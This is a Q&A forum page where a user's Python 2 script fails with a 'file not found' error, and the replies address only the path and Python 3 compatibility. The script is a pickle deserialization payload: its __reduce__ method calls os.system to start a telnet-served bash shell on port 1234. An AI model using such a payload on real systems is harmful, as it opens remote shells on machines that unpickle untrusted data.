-3
import cPickle
import os

class Blah(object):
  def __reduce__(self):
    return (os.system,("telnet -c '/bin/bash -i' -l -p 1234 ",))

print cPickle.dumps(Blah())

error is:

python pickle.py 
python: can't open file '/home/bhumi/pickle.py': [Errno 2] No such file or directory
ForceBru
  • 43,482
  • 10
  • 63
  • 98
  • 1
    Nothing to do with pickle - the Python interpreter can't find the file to execute – ForceBru Jul 02 '21 at 18:50
  • The error doesn't appear to have anything to do with your code at all. Either `pickle.py` is not actually the name of the file, or it's not in the current working directory. – jasonharper Jul 02 '21 at 18:51
  • file is missing or linux rights are not set properly, please check it. – Malo Jul 02 '21 at 18:51

1 Answers1

0

The error says that the file is not present in the path you specified, check the path. Moreover there is no cpickle in python3.

reference: here

Priya
  • 723
  • 1
  • 5
  • 7